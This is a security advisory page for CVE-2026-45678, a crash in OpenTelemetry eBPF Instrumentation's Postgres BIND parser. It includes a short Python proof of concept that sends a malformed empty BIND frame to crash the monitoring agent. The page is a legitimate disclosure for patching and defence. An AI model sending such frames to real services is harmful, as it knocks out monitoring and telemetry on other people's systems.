GHSA-pgvv-q3wf-mm9m

Suggest an improvement
Source
https://github.com/advisories/GHSA-pgvv-q3wf-mm9m
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-pgvv-q3wf-mm9m/GHSA-pgvv-q3wf-mm9m.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-pgvv-q3wf-mm9m
Aliases
  • CVE-2026-45678
Published
2026-05-18T17:56:26Z
Modified
2026-05-18T18:04:36.775282Z
Severity
  • 7.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H CVSS Calculator
Summary
OpenTelemetry eBPF Instrumentation: Postgres BIND parsing can panic on malformed payloads
Details

Summary

The Postgres protocol parser assumes BIND message payloads contain a valid NUL-terminated portal name. A crafted empty or unterminated payload can make OBI slice beyond the end of the captured buffer and panic.

Details

The vulnerable logic is in pkg/ebpf/common/sqldetectpostgres.go. In the BIND case, OBI converts the full payload to a string with unix.ByteSliceToString(msg.data), computes portalLen := len(portal) + 1, and then slices msg.data[portalLen:] to derive the statement name.

There is no check that msg.data actually contains a NUL terminator or even enough bytes for portalLen. With an empty payload or a truncated message, portalLen can exceed the slice length and trigger a runtime panic.

PoC

Local testing with a minimal reproducer showed the expected slice bounds out of range crash for an empty BIND payload.

Use a vulnerable build:

git checkout v0.0.0-rc.1+build
make build

Start a local Postgres instance and OBI:

docker run --rm -e POSTGRES_PASSWORD=postgres -p 5432:5432 postgres:17
sudo ./bin/obi

Send a malformed BIND frame with an empty payload:

# save as /tmp/pg-bind-poc.py
import socket, struct

tag = b'B'
length = struct.pack(">I", 4)
payload = b""

s = socket.create_connection(("127.0.0.1", 5432))
s.sendall(tag + length + payload)
s.close()

Run it:

python3 /tmp/pg-bind-poc.py

On a vulnerable build, the Postgres parser in OBI panics while processing the captured payload.

Impact

This is a remote availability issue in OBI's Postgres parser. Any attacker able to send malformed Postgres traffic to a monitored service can crash the agent and stop telemetry collection for that node or process.

Database specific
{
    "github_reviewed_at": "2026-05-18T17:56:26Z",
    "github_reviewed": true,
    "cwe_ids": [
        "CWE-20",
        "CWE-754"
    ],
    "nvd_published_at": null,
    "severity": "HIGH"
}
References

Affected packages

Go / go.opentelemetry.io/obi

Package

Name
go.opentelemetry.io/obi
View open source insights on deps.dev
Purl
pkg:golang/go.opentelemetry.io/obi

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
0.9.0

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-pgvv-q3wf-mm9m/GHSA-pgvv-q3wf-mm9m.json"